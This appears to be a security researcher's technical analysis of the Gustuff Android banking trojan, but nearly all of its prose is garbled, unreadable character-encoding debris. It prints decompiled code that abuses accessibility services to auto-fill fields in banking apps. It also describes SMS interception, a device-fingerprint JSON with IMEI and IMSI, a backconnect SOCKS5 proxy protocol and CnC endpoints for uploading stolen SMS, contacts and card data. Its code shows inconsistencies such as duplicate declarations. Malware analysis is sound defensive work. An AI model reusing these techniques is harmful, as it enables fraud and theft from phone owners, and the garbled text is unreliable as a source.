áĽá á°áá˝ á¨áá áá°áá áŞáŤ á¨ááľáŽáľ á áŤááľ áá á¨áááááľ á°ááŁá áá áĽáá°áááľá áááá ááááľ áŤáá¸á áááľááᢠáá á°ááŁá á Gustuff ááľáĽ á¨áá°áá á¨á á áá ááááľ áááĄ-
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
á¨á˝áá ááľá á°ááŁááĄ-
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
áľááá , á¨áááŁá áŞáŤ á áááአáľáááá áá á, Gustuff á áŁáá á áááŹá˝á ááľáĽ á¨á˝áá ááľáŽá˝á ááááľ áĽá ááĽááąá ááá ááá á áľááá á¨áááľá á ááŤáŽá˝ á á ááľá¨á áá˝áá. áľáŽáá áá° á áááŹá˝á áááŁáľ áĽááłá á áŤáľááááá - ᨠPUSH ááłáááŤá áááłá¨áľ áľáĽáá ááá áĽá á¨á፠áá°á á¨á°áŤááá á¨áŁáá áá°áá áŞáŤ ááááľ á á ááᢠá°á ááá áĽáŤáąá áŤá¨áááŁá, á¨á፠á áá Gustuff ááŞááá ááááľ áá˝áá.
á¨á¤áľá¤áá¤áľ áááĽááľ áááá áŞáŤ ááąá
á áááŹá˝á áá°á á¨áá ááłáŞáŤ á¨á¤áľá¤áá¤áľ áááááśá˝á áááá á á¨ááľá°áľ á°ááŁáŁáŞá ááááᢠá áĽááľ áá áŤáá áá°áá áŞáŤ á á¤áľá¤áá¤áľ áááĽááľ á áŤá ááľáĽ á¨áááĄáľá á¨áŚááŹá°á áľáááá˝á ááá á áá˝ááᢠáľáĽááá˝ á á áá¸áľ áááŁááĄ-
7!5=<%Base64 áŽáľ á¨á°á°á¨á áľááá%>
á áááŹá˝á á ááá á¨á¤áľá¤áá¤áľ áááááśá˝ ááľáĽ ááĽá¨ááááá ááááá 7!5=, á ááľ ááĽá¨ááá á˛áá ááĽá¨ááááá ᨠBase64 á ááŤáŤáť 4 áá áá¨ááłá áĽá áľáááá áŤáľáá˝áá. áľáĽááᚠᨠCnC áá á°ááłáłá áá¸áᢠá¨ááľáá¸á፠áá¤áą áľááá áá° ááŁá áľ á°ááłáłá ááĽá áááŤá. á¨ááá˝ á áá¸áľáĄ-
7*5=<%Base64 á¨"á¨áá¤áľ_áŽáľ áľááá"%> áŽáľ
áĽáá° á ááŤá, á áááŹá˝á áááá á¨á°áá ááľ áááááśá˝ áá° Root ááĽá ááá áá˝áá. áá áá áááľá¨á ᨠRoot ááĽáŠ á áá፠ááá ááľáĽ áááá˝ á áá áľ áĽá á¨áááĽááľ ááááá áŁáá˛áŤ áááááľ á áá áľá˘ á¨á¤áľá¤áá¤áľ áááĽááľ áá° á áĽáá ááĽá á á áá¸áľ áááŤááĄ-
<%á¨ááĽá%> - <%á°ááľáŁ á áá¸áľáĄ dd/áá/áá HH:mm:ss%> <%á¤áľá¤áá¤áľ á áŤá%>
áĽáá˛ááᣠáĽáá° á ááŤáᣠá áááŹá˝á áá° CnC áááááśá˝á ááá áá˝ááᢠá¨á¤áľá¤áá¤áľ áááĽááľ áá° á áááአá JSON á áá¸áľ áááŤááĄ-
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
áŁáá˛áŤ á¨á°ááá áľá áááŹá°á("DEFAULT_APP_SMS") - á áááŹá˝á á¨á¤áľá¤áá¤áľ áááĽááľ ááľáŤáľ áŤááá áĽá á¨áᢠáááááśá˝á áááá áŤá¸áłáá˘
á°áŞ ááá
á áĽááľ áá áŤáá áá°áá áŞáŤ á¨Backconnect Proxy ááá (á¨áá á áá ááŽáᲠááá á°áĽá á¨áá áŤ) áááᣠáĽáąá á¨á°áᨠááá áŤáá áá á¨áľ áŤáá¸á á¨áááááłááą ááľáŽá˝á áŤáŤáľáłáᢠá¨áááá ááἠá ááá ááľáĽ á ááá˝ á°ááá§ááĄ-
á ááŽáᲠááá á¨á°á¨ááá ááá áľáááśá˝ áá° áááá˝ ááĽá°ááᢠáá áá áááľá¨á á ááŤá áá¨ááť ááľáĽ áŤáá á áááŹá˝á "Logs" á¨ááŁá áá፠áááĽáŤá (á ááááŞáŤ ááá ááľáĽ ProxyConfigClass.logsDir ááľá) á¨áááἠááľáłááť áááá˝ á¨ááááĄá áľá˘ áááἠááľáłááťáá˝ áľáá˝ áŁáá¸á áááá˝ ááľáĽ áá¨á°áłá
- áá.txt - CommandServer á°áĽá á¨áá áŤá ááá áĽáŤ á áá ááá ááľáĽ ááĽáˇá. á áá¨á°áá ááľáĽ string str áá°áá ááá áááŁáľ áĽáá° mainLog(str) ááááťáá˘
- ááá-<%id%>.txt - áá ááá á¨á ááľ á¨á°áá°á á¨á°áŞ ááá áá áá á¨á°ááá á¨áááἠááľáłááť áááĽá áŤáľáááŁáᢠá áá¨á°áá ááľáĽ string str áá°áá ááá áááŁáľ áĽáá° ááá áá áá (str) ááááťáá˘
- á áááá.txt - áá ááá á¨áá á á°ááášáľ áááá˝ áá á¨á°áááľá áááá áá¨ááá˝ áááááἠáá á ááá˘
á¨áááἠááľáłááť á áá¸áľáĄ
<%áá%> [áá[<%thread id%>]ᣠááłáááŤ[]]: áá-string
á ááŽáᲠááá á á áŤá áá áľ á¨áá¨á°áą áአáááłáá˝á áá° ááá ááĽá°ááᢠáá áá áááľá¨á á áááŹá˝á á¨JSON áááá á áá¨á°áá á áá¸áľ áŤáááŤáá˘
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
á¨ááŤá áá° ááĽá¨ááá áááá áááá áá áĽá áááááŁá.
á°áŞ ááá á°ááłáá áľááá á¨á°áá á á áá ááááŤá. á¨á°áŞ áááá áááľááá áľáĽáá á˛á°áá°á á áááŹá˝á á¨ááŁá á áááááľ ááááŤá áá á áááááľá¨á°áŞ áááá áĽáŤ á¨ááľá°áłá°á áááááľ áŤáá - áááá áĽá ááá.
á áááááąá ááááá á°á¨ááá˝:
1. á á°áá á ááľ áá á¨áá°áŤ á¨á°ááľ ááŁáŞ ááááŤá áĽá á¨á°áŞ áááá áĽáá
áľáá´ á¨áááľá˝á˘ ááá áá áŤááá, ááááŤá.
áĽáá˛áá ááľá°áą á áááłá áľ áá android.net.conn.CONNECTIVITY_CHANGE á¨á°áŞ ááá á°áááŻáá˘
2. áá°áá áŞáŤá á¨áááŞáŤá áá áááľááť-áááááŤá áááĽáŤá á¨áá_WAKE_LOCK áĽá áŤáá. áá á¨ááłáŞáŤá á˛áአáá° áĽáá áá áááł áĽááłáááľ áá¨áá¨áá.
3. á¨ááŽáᲠáááá á¨áľááá áááá áŞáŤ áááá ááááŤáᣠááááŞáŤ ááľááŠá áŤáľáᥠáá áá ("ááá á áááá") и
á áááá::ááá() á áľá°ááá [<%proxy_cnc%>]ᣠCommandPort[<%command_port%>]ᣠproxyPort[<%proxy_port%>]
á¨áľ proxy_cncᣠCommand_port áĽá proxy_port - á¨á°áŞ á áááá áá á á¨á°áá áááŞáŤáá˝á˘
á¨áľááá áááá áŞáŤ ááá ááŁáá á¨áľáĽáá áááááľ. á¨á áá á áá áá˛áŤáá á¨áá¨á°ááľá á°ááŁáŤáľ áŤá¨áááá:
4. áá áááááᢠProxyConfigClass.host: ProxyConfigClass.commandPort áĽá áľáá°á á¨áá ááłáŞáŤ áá¨á áá°á፠á JSON á áá¸áľ áááŤááĄ-
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
á¨áľ
- ááłáá፠- ááŞáŁ á "ááłáááŤ" ááľá "x" á¨ááŁá á¨á°á፠áá፠ááá áá áááááľ ááááŤáᢠáá áĽá´áľ ááááľ áŤááťá á á˛áľ áŤáááŤáᢠáľááá á¨ááŽáᲠááá á¨áŤáą áá፠á ááᣠáĽáąá á¨áŚáľ ááłáááŤá áá á á°ááłáłá ááአááá áŤáá˘
- imei - á¨ááŁáŞáŤá IMEI. áĽá´áąá á ááááą áá°áľ áá áľá á°áľ á¨á°áá ᨠá áá ááľá ááľá á¨áľá á°áľ á¨á˝áá áááĽááľ ááťááá˘
- imsi - ááá á áá á¨ááŁáá á°áááᢠá¨ááŁáŞáŤá ááááľá˘ áĽá´áąá á ááááą áá°áľ áá áľá á°áľ á¨á°áá ᨠá áá ááľá ááľá á¨áľá á°áľ á¨á˝áá áááĽááľ ááťááá˘
- áá´á - ááá¨á¨áťá áááľ á¨áá¨á¨áť á°á áá-á¨ááłá¨á áľáá˘
- á ááŤá˝ - á¨áááľ / áááľáá (Build.MANUFACTURER) á ááŤá˝.
- androidVersion - ááĽá¨ááá á "<%release_version%>(<%os_version%>)"áŁ<%sdk_version%>"
- á áá - á¨ááŁáŞáŤá á¨á áá áŚáł.
- partnerID áŁáś ááĽá¨ááá ááá˘
- á¨áĽá á áľá - á¨áĽá á áľá.
- á¨á ááłá¨ áá¨áĽ á áááľ - á¨á áá á¨á ááłá¨ áá¨áĽ áááááľ á áááľ (áááłá "WIFI", "MOBILE"). áľá á°áľ á¨á°áá ᨠáŁáś ááááłáá˘
- hasGsmSupport - áĽáááľ - áľáአGSMá á¨áá°áá á¨áá, á áá áá፠áá¸áľ.
- simReady - á¨á˛á áŤááľ áááł.
- simCountry - ᨠISO á¨á áá áŽáľ (á á˛á áŤááľ á á áŤá˘ áá á¨á°áá°á¨á°)á˘
- á¨á ááłá¨ áá¨áĽ áŚááŹá°á - á¨áŚááŹá°á áľá. áĽá´áąá á ááááą áá°áľ áá áľá á°áľ á¨á°áá ᨠá áá ááľá ááľá á¨áľá á°áľ á¨á˝áá áááĽááľ ááťááá˘
- simOperator - á¨á áááááľ á á áŤá˘á áľá (SPN)ᢠáĽá´áąá á ááááą áá°áľ áá áľá á°áľ á¨á°áá ᨠá áá ááľá ááľá á¨áľá á°áľ á¨á˝áá áááĽááľ ááťááá˘
- áľáŞáľ - áá ááľá á ááááŞáŤ ááá ááľáĽ á°á¨áá˝áˇá ᣠáá°áá¨áŠáľ ᨠbot áľáŞáśá˝ ᨠâ1.6â áá áĽáŠá áá áá˘
5. á¨á áááአáľáááá˝á á áá áŁá á áááł ááá¨áŤá. á¨á áááአá¨ááᥠáľáááá˝ á áá¨á°áá á áá¸áľ áááŁááĄ-
- 0 ááŤáŤáť - áľááá
- 1 ááŤáŤáť - sessionId
- 2 ááŤáŤáť - ááááľ
- 4 ááŤáŤáť - áááĽ
áľáĽáá á˛áᣠá áááŹá˝á áááááŁááĄ-
mainLog("áŤáľá { sessionId<%id%>]ᣠá áááľ[<%command%>]ᣠááááľ[<%length%>] })
á¨á áááአá¨áá¨á°ááľ áľáááá˝ ááťáááĄ-
áľá | áľáĽáá | áá¨á | ááá፠|
---|---|---|---|
á¨áááááľ ááłáá፠| 0 | á¨áááááľ ááłáá፠| á á˛áľ áááááľ ááá አ|
áĽáá ááá | 3 | áá | á¨á°áŞ áááá áŁáá áľ áŤáá |
á¨á á¨á´á á´ááľ | 4 | - | á¨PONG áááĽááľ áááŠá˘ |
á¨PONG áááĽááľ 4 áŁááľ á¨áŤá á˛áá áá á áááľáááĄ- 0x04000000.
á¨áááááľá ááľ áľááá á˛á°áá°á (á á˛áľ áááááľ áááá á) á¨áľáĽáá áááááľ á¨ááá ááłá áááĽáŤá ProxyConnection.
- áááľ áááá˝ á ááŽáá˛áá ááľáĽ ááłá°áááĄ- ProxyConnection и áá¨á¨áť. ááá á˛ááĽáŠ ProxyConnection á¨á áľáŤáťá áá áááááľ ProxyConfigClass.host: ProxyConfigClass.proxyPort áĽá á¨JSON áááá ááááĄ-
{
"id":<%connectionId%>
}
á áááš á áááአáááááą áááľá¨áľ áŤáá áľá á¨áááľ á áááá á áľáŤáť á¨áŤá ᨠSOCKS5 áááĽááľ áááŤáᢠá¨áá á áááá áá ááľá°ááĽá á¨áá¨áááá á ááá ááľáĽ ááᢠáá¨á¨áť. á¨áááááą á á°á¨áááľ á áľááá°-á áá˝ áĽáá°áá¨á°áá ááá¨á áá˝ááá˘
á¨á ááłá¨ áá¨áĽ áááááśá˝
á ááľááá á áá ááŁáŞáá˝ á¨áľáŤáá áľááłáá ááá¨áá¨á á CnC á áááá áĽá á áá°áá áŞáŤá ááŤá¨á áŤáá ááľá°ááĽá á¨SSL ááŽáśáŽáá á áá áá áá á á áá˝ááᢠááá á¨á áááአáĽá áá° á áááአá¨áá°ááá áá¨ááá˝ á JSON á áá¸áľ ááá áá ᢠá áááŹá˝á á áá°áŤá áľ áá á¨áá¨á°ááľá áĽáŤááá˝ ááá˝áááĄ-
- http://<%CnC%>/api/v1/set_state.php - á¨áľáĽáá á áááá áá¤áľá˘
- http://<%CnC%>/api/v1/get.php - áľáĽáá ááá á.
- http://<%CnC%>/api/v1/load_sms.php - á¨á¤áľá¤áá¤áľ áááááśá˝á á¨á°á á¨á ááŁáŞáŤ ááá¨áľá˘
- http://<%CnC%>/api/v1/load_ab.php - á¨áĽáááŤáá˝ áááá á¨á°á á¨á ááŁáŞáŤ á ááľáá ááá˘
- http://<%CnC%>/api/v1/aevents.php - áĽáŤáá á¨áááá á á áá፠ááá ááľáĽ áŤááľá áááŞáŤáá˝ á˛áŤááá ááá˘
- http://<%CnC%>/api/v1/set_card.php - áĽáá° ááá ááá áá ፠á ááľáá°á á¨ááľáá ááľáŽáľ á áá áá á¨á°áááá áá¨á á ááľáá ááá˘
- http://<%CnC%>/api/v1/logs.php - á¨áááἠááľáłááť ááἠá ááľáá áá.
- http://<%CnC%>/api/v1/records.php - á á áľá᪠ááľáŽáśá˝ á¨á°áááá áá¨á á ááľáá ááá˘
- http://<%CnC%>/api/v1/set_error.php - áľáá°áá ᨠáľá á°áľ ááľáłáááŤá˘
áááŽá˝
á°áá ááťá¸áá á¨ááŁáá áľáŽááá˝ áľááľ ááá á á áŠáŁááŤáá˝ á á°á áá ááłáŞáŤáá˝ áá á°á¨á᪠áśááľááŽá˝á áłááá á°ááŽá á áá áľáááśá˝á ááááŁá á áĽá ááá¨áá¨á á¨ááŤáľá˝á á á ááá áááľááá˝á áá áá á ááŁá¸áá˘
áá áá áááľá¨á á¨ááŁáá áľáŽááá˝á á¨ááá¨áľ á¨ááá áá´áá˝ á¨á°áá áááá áá á¨áá°áá áŞáŤáá áŁá ᪠ááá°áá°á á á´áááááá˝ áá áá¨á áŤáľááááᢠáĽá áá á¨á˛ááłá á¨áŁáľ á áťáŤ á´ááááá á áá áá á¨ááłáŞáŤ áá፠á°ááŁáá ááŤá°áľ á áá áľáŁáá á áá፠á¨á°ááá°á ááłáŞáŤ áá áĽá á áá á¨áááá áľá áá áĽá á áľááľá á á áá ááŁáŞá áĽá áĽáá°áá°á ááá¨áłáľ áŤáľá˝ááá˘
áá á¨áłá á áľááá ááĽáĽ áŠáŁááŤáá˝ á á˘áá°áááľ áá áĽáť áłááá á á°áááłáá˝ áľáá áťáá áá á¨áááą á á°ááá˝á ááááŁá á á¨ááŤáľá˝á á¨áťáá áľáá°á ááááľ áá, áááłá, áááŁáá áŁáá á áááŹá˝áá˝, á¨ááŞááś ááááŹáá˝ áĽá á¨ááá˝ áá á áá°á¨á ááĽááśá˝ ááľáĽ. ááĽááśá˝ áá¨ááá áá˝áá á¨áááἠáááἠ.
áá°á áááá˝ á¨á°á áááľ á°ááŚá˝:
- áá°áá áŞáŤáá˝á áá ááľáŽááľ áŚááŹá˛áá á°áááłáá˝ ááłáŞáŤ á¨Google ááá á᪠áŤá áááŽá˝ á ááá ᣠá áá°áá áŞáŤá ááá á¨á ááĽáśá˝ áአáľáŠá¨áľ ááľáĄ áŁ
- á áá°á ááᾠᨠAndroid OS ááááá˝á ááŤá;
- á¨áá¨áą áááá˝á ááŤáá፠áľáŠá¨áľ ááľáĄ;
- á á áŤáŁáŞ ááĽáśá˝á á ááá á;
- á á¤áľá¤áá¤áľ áááĽááľ á¨á°áá ááľá á áááá˝ á ááŤáá˘
áŽá¨áĽ á ááľá¨á áá á´ááŽá áŽááźáŤá áĄáľá-IB á¨áŽáááá°á áá¨áá˛ááľ ááĽáŤáśáŞ ááľáĽ á áááá áááá ááľáĽ ááá¨á áľááťááľáľá˘
ááá: hab.com